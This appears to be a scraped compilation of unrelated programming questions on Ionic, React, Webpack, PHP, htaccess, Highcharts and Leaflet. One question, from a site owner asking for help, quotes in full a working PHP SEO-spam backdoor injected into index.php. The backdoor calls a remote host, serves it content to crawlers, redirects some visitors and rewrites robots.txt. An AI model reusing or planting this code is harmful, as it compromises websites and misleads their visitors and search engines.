How to make deeplink ionic for ios correct?

I was developing a hybrid mobile application for Android/iOS using Nuxt 3, TypeScript, and Ionic. My app serves as an online store. During the payment process, the application redirects users to the epay Halyk website, and when the ‘back’ button is pressed, it should lead back to our application.

This functionality works well on Android devices and in the Xcode emulator. However, when I build it for TestFlight and the App Store, it doesn’t work. I’m not sure why this issue is occurring.

      window.halyk.pay({
            ...response.data,
            backLink:        'https://m.smartdeal.kz',
            failureBackLink: 'https://m.smartdeal.kz',
            postLink:        response.data.postLink,
        });

Why setting the state inside a fetch callback (doesn’t) cause an infinite loop?

I have the following code snippet, and I expected it to result in an infinite loop due to a state update inside a fetch callback inside the body of the component without using ‘useEffect’. However, it’s not behaving as expected. Here’s the code:

function App() {
  const [cartContent, setCartContent] = useState(null);

  fetch("https://fakestoreapi.com/carts/6")
    .then((resp) => resp.json())
    .then((data) => {
      setCartContent("test");
    });

  console.log(cartContent);

  return <div className="cartContent">{cartContent}</div>;
}

export default App;

My understanding was that console.log(cartContent) should log the initial value of cartContent, then when setCartContent(“test”) is called inside the fetch callback, it should log “test”, and this process should repeat indefinitely, creating an infinite loop.

Could someone please help me understand why this code doesn’t result in an infinite loop as expected? Any insights or explanations would be greatly appreciated. Thank you!

How to use Webpack with Github actions to deploy multiple websites

I am building a fairly simple website using Webpack for customer_A. I would like to now use a template to allow me to build the same website for customer_B, customer_C etc. What would be a good Webpack tool to do this with for a simple HTML, CSS and JS website?

The second part is how is this best achieved. Is there a way that Webpack itself can be used to build multiple websites each with its own dist folder or would it be best to call Webpack in the Github actions pipeline multiple times in a for loop and pass in each customer’s specific parameters?

I have been using Webpack and JS for a few days now so don’t have much experience in this area.

Which algorithm to downsample a 2D array of values to save space in js

I’m working with 1D and 2D arrays containing values for plotting heatmaps.
Some datasets can containing thousands of values which represent millions of values in the matrix. I’d like to try some downsampling/compression methods with some parameters to save space on disk and still be able to plot everything.

I have 3 arrays, X and Y being 1D and Z being 2D (of dimension X*Y).

I already have a downsampling method, which basically removes every k-th value, it works on huge datasets but I could lose some valuable information without any smart processing.

PHP / IIS – Writing files to domain joined file server via UNC path

I am working within a domain environment, I have two servers:

  • server 1 – Windows / IIS
  • server 2 – Windows / File Server

I have a PHP script running on the IIS box which allows users to upload documents, this works fine when writing to a local folder on the server, however i now need to write the uploaded files to a network share.

I have tried everything i can think of and cannot get this to work, I consistently get Permission Denied errors when executing the script.

I have changed the Identity the ApplicationPool settings for this site to a domain user, said user DOES have the correct share/ntfs permissions on the share i am trying to write to, I have selected “Load Profile” under the ApplicationPool advanced settings to, the user/server can access the share fine within Windows Explorer.

I have triple/quadruple checked all NTFS / share permissions, but no joy.

Does anyone have any ideas? Thanks in advance!

How to add an htaccess rule for a search page so that it will work with and without query parameter

Is it possible for me to add an htaccess rule for a search page so that it will work with and without query parameter. I ll add the example below

Actual file is www.mysite.com/search.php

Below 2 links should work for me

  1. www.mysite.com/search/loremipsum

  2. www.mysite.com/search/?query=loremipsum

The rule I have added on htacess is given below

RewriteCond %{QUERY_STRING} ^$
RewriteRule ^search/?$ search.php? [L]
RewriteRule ^search/([^/]+)$ search.php?query=$1 [L]

Any help will be much apprecited

please help: altervista php mysql connection [closed]

I need help on a .php file:

<?php
// Credenziali di accesso al database
$servername = "localhost";
$username = "paperpediaforum";
$password = ""
$dbname = "my_paperpediaforum";

// Connessione al database
$conn = new mysqli($servername, $username, $password, $dbname);

// Verifica della connessione
if ($conn->connect_error) {
    die("Connessione al database fallita: " . $conn->connect_error);
} else {
    echo "Connessione al database riuscita!";
    // Qui puoi inserire il codice per eseguire le query o altre operazioni sul database
}

?>

when i open the file it says:
Parse error: syntax error, unexpected variable “$dbname” in /membri/paperpediaforum/database.php on line 6

do you know why?
(it doesn’t close the connection on purpose, because other php files will use this and then they will close the connection)
sorry for the bad english

I tried many methods, but it never worked. before it said that it couldn’t find the database, now it says that he doesn’t expect the variable $dbname. i don’t jnow what to do.

Every morning, this strange code gets injected into my index.php page. What is the cause? [closed]

I have a site on Namecheap cPanel web hosting and suddenly this month, the site is inaccessible every morning. The code below is injected into index.php, db.php, loggertrait.php and my htaccess is cleared. I don’t originally have db and loggertrait as files in my directory.

ChatGPT says the code is malicious but I can’t find any articles talking about it:

<?php function curl_get_contents($url){$ch=curl_init();curl_setopt ($ch, CURLOPT_URL, $url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);$file_contents = curl_exec($ch);curl_close($ch);return $file_contents; }function ex(){return exit;}$a='z40413_6.zwlepra.shop';$a='http://'.str_replace("http://","",$a);function getServerCont($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){ return false;}return $output;}function getSeCont11($url,$data=array()){$url=str_replace(' ','+',$url);$ch=curl_init();curl_setopt($ch,CURLOPT_URL,"$url");curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,10);curl_setopt($ch,CURLOPT_POST,1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));$output = curl_exec($ch);$errorCode = curl_errno($ch);curl_close($ch);if(0!== $errorCode){ return false;}return $output;}function is_crawler($agent){$agent_check=false; $bots='googlebot|google|yahoo|bing|aol';if($agent!=''){if(preg_match("/($bots)/si",$agent)){$agent_check = true; }}return $agent_check;}function check_refer($refer){ $check_refer=false;$referbots='google.co.jp|yahoo.co.jp|google.com';if($refer!='' && preg_match("/($referbots)/si",$refer)){ $check_refer=true; }return $check_refer; }$http=((isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https://':'http://');$req_uri=$_SERVER['REQUEST_URI'];$domain=$_SERVER["HTTP_HOST"];$self=$_SERVER['PHP_SELF'];$ser_name=$_SERVER['SERVER_NAME'];$req_url=$http.$domain.$req_uri;$indata1=$a."/indata.php";$map1=$a."/map.php";$jump1=$a."/jump.php";$url_words=$a."/words.php";$url_robots=$a."/robots.php";if(strpos($req_uri,".php")){$href1=$http.$domain.$self;}else{$href1=$http.$domain;}$data1[]=array();$data1['domain']=$domain;$data1['req_uri']=$req_uri;$data1['href']=$href1;$data1['req_url']=$req_url;if(substr($req_uri,-6)=='robots'){define('BASE_PATH',str_ireplace($_SERVER['PHP_SELF'],'',__FILE__));$robots_cont=@file_get_contents(BASE_PATH.'/robots.txt');$data1['robots_cont'] = $robots_cont;$robots_cont = @getServerCont($url_robots,$data1);file_put_contents(BASE_PATH.'/robots.txt',$robots_cont);$robots_cont=@file_get_contents(BASE_PATH.'/robots.txt');if(strpos(strtolower($robots_cont),"sitemap")){echo 'robots.txt file create success!';}else{echo 'robots.txt file create fail!';}return;}if(substr($req_uri,-4)=='.xml'){if(strpos($req_uri,"pingsitemap.xml")){ $str_cont = getServerCont($map1,$data1); $str_cont_arr= explode(",",$str_cont); $str_cont_arr[]='sitemap'; for($k=0;$k<count($str_cont_arr);$k++){ if(strpos($href1,".php")> 0){ $tt1='?'; }else{ $tt1='/';}$http2=$href1.$tt1.$str_cont_arr[$k].'.xml';$data_new='https://www.google.com/ping?sitemap='.$http2;$data_new1='http://www.google.com/ping?sitemap='.$http2;if(stristr(@file_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new),'successfully')){echo $data_new.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@file_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL;}else if(stristr(@curl_get_contents($data_new1),'successfully')){echo $data_new1.'===>Submitting Google Sitemap: OK'.PHP_EOL; }else{echo $data_new1.'===>Submitting Google Sitemap: fail'.PHP_EOL;} } return;} if(strpos($req_uri,"allsitemap.xml") || strpos($req_uri,"sitemap-index.xml") || strpos($req_uri,"sitemap-index-1.xml") || strpos($req_uri,"index.xml")){ $str_cont = getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;return;} if(strpos($req_uri,".php")){ $word4=explode("?",$req_uri); $word4=$word4[count($word4)-1]; $word4=str_replace(".xml","",$word4); }else{ $word4= str_replace("/","",$req_uri);$word4= str_replace(".xml","",$word4); }$data1['word']=$word4;$data1['action']='check_sitemap';$check_url4=getServerCont($url_words,$data1);if($check_url4=='1'){ $str_cont=getServerCont($map1,$data1); header("Content-type:text/xml"); echo $str_cont;return;} $data1['action']="check_words"; $check1= getServerCont($url_words,$data1);if(strpos($req_uri,"map")> 0 || $check1=='1') $data1['action']="rand_xml";$check_url4=getServerCont($url_words,$data1);header("Content-type:text/xml");echo $check_url4;return;}if(strpos($req_uri,".php")){$main_shell=$http.$ser_name.$self;$data1['main_shell']=$main_shell;}else{$main_shell=$http.$ser_name;$data1['main_shell']=$main_shell;}$referer=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$chk_refer=check_refer($referer); $user_agent=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:'');$res_crawl=is_crawler($user_agent); if(strpos($_SERVER['REQUEST_URI'],'.php')){ $url_ext='?'; }else{ $url_ext='/'; } if($chk_refer && (preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match('/ja/i',@$_SERVER['HTTP_ACCEPT_LANGUAGE']) || preg_match("/^[a-z0-9]+[0-9]+$/",end(explode($url_ext,str_replace(array(".html",".htm"),"",$_SERVER['REQUEST_URI'])))))){ $data1['ip']=$_SERVER["REMOTE_ADDR"];$data1['referer']=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'';$data1['user_agent']=strtolower(isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''); echo getSeCont11($jump1,$data1);return; } if($res_crawl){ $data1['http_user_agent']=$user_agent;$ser_cont=getSeCont11($indata1,$data1);echo $ser_cont;}ex();?>

How to split a comma separeted string value from ACF get_field() in WordPress

the problem is that I have a line in the field, but I need to output it so that after the “comma” the line is moved to a new paragraph.
At the moment I am a student and I need help.

$time_work = get_field('time_work');

<div class="time_work">
    <span>Time work:</span>
    <p><?=$time_work?></p>
</div>

p.s. $time-work value is for example “monday,saturday,sunday”…

React Highchart Reverse the order of tooltip data

In my code, I have a dataset rendered in bar format using a highchart. The current implementation of UI looks like this:
enter image description here

What i need is that in the tooltip, I need to revert the data info. Instead of ‘Follow’, then ‘Lead’, it should be like: ‘Lead’ and then ‘Follow’, along with their respective data values as per the bar chart.

Here is the code done so far:

App.js

import {
  DummyData,
  PercentageBarChart,
} from "./Component/Sparkline/ChartCollection";
function App() {
  const mapperValue = (chartDetails, header) => {
    switch (chartDetails.type) {
      case "area": {
        const options = {
          series: [
            {
              data: chartDetails.data,
              pointStart: 1,
            },
          ],
          tooltip: {
            headerFormat: `<span style="font-size:10px">${header}, Q{point.x}: </span><br/>`,
            pointFormat: "<b>{point.y}.000</b> USD",
          },
          chart: {
            type: chartDetails.type,
          },
        };
        return <SparkLine options={options} />;
      }
      case "bar": {
        const color =
          chartDetails?.stacked === "normal"
            ? ["#B5E3D8", "#66C8C2", "#118C7D", "#004C45"]
            : ["#F5E887", "#00A499"];
        const series = chartDetails.data.map((item, index) => {
          return {
            ...item,
            color: color[index],
          };
        });
        const options = PercentageBarChart({
          series,
          stacked: chartDetails?.stacked || "percentage",
          dataLabel: chartDetails?.dataLabel,
          name: header,
        });

        return (
            <SparkLine options={options} />
        );
      }
      default:
        return chartDetails.data.map((item) => {
          return `${item.name} || `;
        });
    }
  };

ChartCollection.js

export const DummyData = [
  {
    name: "AON",
    lead_follow: {
      type: "bar",
      data: [
        { name: "Follow", data: [72] },
        { name: "Lead", data: [28] },
      ],
      dataLabel: {
        visible: true,
      },
    },
    types: {
      type: "bar",
      stacked: "normal",
      data: [
        { name: "Open", data: [45] },
        { name: "Deleg", data: [120] },
        { name: "Pool", data: [31] },
      ],
      dataLabel: {
        visible: false,
      },
    },
    avg_cost_acquisition: 35,
    avg_cost_brokerage: 23,
  },
];
const disableDataLabel = ["Follow", "Lead"];
export const PercentageBarChart = (props) => {
  props.series.forEach((seriesItem) => {
    if (disableDataLabel.includes(seriesItem.name)) {
      seriesItem.dataLabels = {
        enabled: false, // Disable data labels for "New", "old", and "other"
      };
    }
  });

  const plotOptions =
    props.stacked === "percentage"
      ? {
          bar: {
            stacking: "percent",
            dataLabels: {
              enabled: props.dataLabel.visible,
              format: "{point.y:.0f}%",
              x: props?.series?.dataLabel?.x || null,
              y: props?.series?.dataLabel?.y || null,
              verticalAlign: "middle",
              inside: false,
              style: {
                fontSize: "0.75rem",
                textOutline: "0px",
              },
            },
          },
        }
      : {
          series: {
            stacking: "normal",
            dataLabels: {
              enabled: props.dataLabel.visible,
              style: {
                fontSize: "0.75rem",
                textOutline: "0px", // Remove outline to avoid overlapping
              },
            },
          },
        };

  return {
    chart: {
      backgroundColor: "transparent",
      borderWidth: 0,
      type: "bar",
      margin: [2, 0, 2, 0],
      width: 200,
      height: 50,
      style: {
        overflow: "visible",
      },
      skipClone: true,
    },
    title: {
      text: null,
    },
    credits: {
      enabled: false,
    },
    yAxis: {
      endOnTick: false,
      startOnTick: false,
      labels: {
        enabled: false,
      },
      title: {
        text: null,
      },
      tickPositions: [0],
    },
    legend: {
      enabled: false,
      align: "left",
      x: 10,
      verticalAlign: "top",
      layout: "horizontal",
      y: 0,
    },
    tooltip: {
      headerFormat: `<span style="font-size:10px">${props.name}</span><br/>`,
      pointFormatter: function () {
        console.log("inside point formattor", this);
        var point = this,
          series = point.series;
        return `<div style="align-items: baseline">${series.name} <hr style="display:inline-block; position: relative; top: 5px; width:${point.y}px; height: 10px; font-size: 10px" color=${point.color}> <b>${point.y}</b><br /></div>`;
      },
    },
    plotOptions: plotOptions,
    series: props.series || [],
  };
};

I tried to update the code in App.js like this:

//.......
    const options = PercentageBarChart({
          series,
          stacked: chartDetails?.stacked || "percentage",
          dataLabel: chartDetails?.dataLabel,
          name: header,
        });

        const modifiedOptions = JSON.parse(JSON.stringify(options));

        modifiedOptions["tooltipSeries"] = [...series].reverse();
        console.log({ modifiedOptions });
//......

and it prints the console of options as expected:

enter image description here

Then passing the modifiedOptions as props, instead of options, is also not working:
//…

 <SparkLine options={modifiedOptions} />

...//

If anyone can help fix the same, will be appreciated!

javascript removing element style after clicking other

I’m trying to remove attribute “selected” from span element when other span element (not the same div) is clicked
div1 span swatch clicked
another div1 span swatch clicked

How to remove attribute “selected” of span element in div_bottom1 while div1 another span is selected?

<script type="text/javascript">
            window.addEventListener('DOMContentLoaded',() => {
                const div1 = document.getElementById('div1');
                div1.addEventListener('click', (e) => {
                    const div1span = e.target.closest('span.swatch');
                    if (!div1span) return;
                    const dj = document.getElementById('div_bottom1');
                    const djp = document.getElementById('div_bottom2');
                    const dd = document.getElementById('div_bottom3');
                    if (div1span.matches('.div1swatch')) {
                        const clodj = dj.closest('span.selected');
                        const clodd = dd.closest('span.selected');
                        clodj.removeProperty('selected');
                        clodd.removeProperty('selected');
                    }
                });
</script>

It works till getting div1span.matches('.div1swatch') and then “Uncaught TypeError: Cannot read properties of null” error appear
div 2-4 are separate divs outside div1 and have style.display = "none"; set while div1span is switched

click on div1span sets style.display = "none"; to div_bottom2 and div_bottom3
click on div2span sets style.display = "none"; to div_bottom1 and div_bottom3
click on div3span sets style.display = "none"; to div_bottom1 and div_bottom2
is it related?

What I’m doing wrong? I’m javascript newbie, coding in php + html so far

Leaflet Map Rendering Issue with Large Non-Geographical Map

I’m currently developing a non-geographical map for my website using React, tailwindCSS and react-leaflet. The map is square-shaped and quite large, with each side measuring 10 million pixels. The image overlay is a square with white color. I’ve followed the guides provided by both react-leaflet and leaflet documentation on https://leafletjs.com/examples/crs-simple/crs-simple.html, where I defined a specific bound to map the image to the corresponding scale.

However, I’ve encountered a problem where the image is not initially displayed (though it does appear when zooming out). Specifically, the map tends to disappear when I reach a certain zoom level (although the marker still remains). For normal maps (which I takes from the tutorial and is geographical map), it works normally, so I did setup leaflet correctly.

Below is the code for the map I encountered issues with (note that I am using react-leaflet):

<MapContainer
                // whenReady={setMapRef}
                center={[this.state.lat, this.state.lng]}
                zoom={this.state.zoom}
                className="h-dvh z-10"
                bounds={bounds}
                // maxBounds={bounds}
                // maxZoom={10}
                zoomControl={false}
                minZoom={-1000}
                maxZoom={7}
                crs={CRS.Simple}
                // zoomSnap={0}
            // maxNativeZoom={7}



            >
                <ImageOverlay
                    url="https://upload.wikimedia.org/wikipedia/commons/thumb/1/1f/Blank_square.svg/2048px-Blank_square.svg.png"
                    bounds={bounds}
                    className="border box-border border-black"

                />
                <ZoomControl position="bottomleft" />
                <Marker position={[this.state.lat, this.state.lng]}>
                    <Popup>
                        This is the center
                    </Popup>
                </Marker>
                <Marker position={[51.5, +0.1]}>
                    <Popup>
                        This is the content
                    </Popup>
                </Marker>
            </MapContainer>

While inspecting the element through console, I’ve noticed that the glitch starts to occur when the map’s width and height exceed 10 million pixels to some extent, leading me to suspect that this might be the root of the issue. I tried to rectify this by setting the bounds to 20 million for each side, but the problem persists. I tried to look for leaflet documentation looking for anything related to zooms but to no avail. I’m at a loss as to how to resolve this issue and would greatly appreciate any assistance or suggestions. Thanks in advance!

Javascript textarea keydown detect if Alt gr key being pressed and prevent its action futher

I Have a character limit in my text area and when it reaches a verge of 999 out of 1000 i dont want any accent characters to be entered.
Im not able to capture the final output of combination key, so when only 1 characters is left i need to detect Alt gr key being pressed and prevent its action further as not proceed with that combination.

keyDownEvent(e){
  if ( (charactersLeft === maxLength -1) && e.keyCode === 18) {
    e.preventDefault();
  }
}

The above is not working still the key combination happens and accent key(alt gr + a = ā) is being printed. How to stop this event.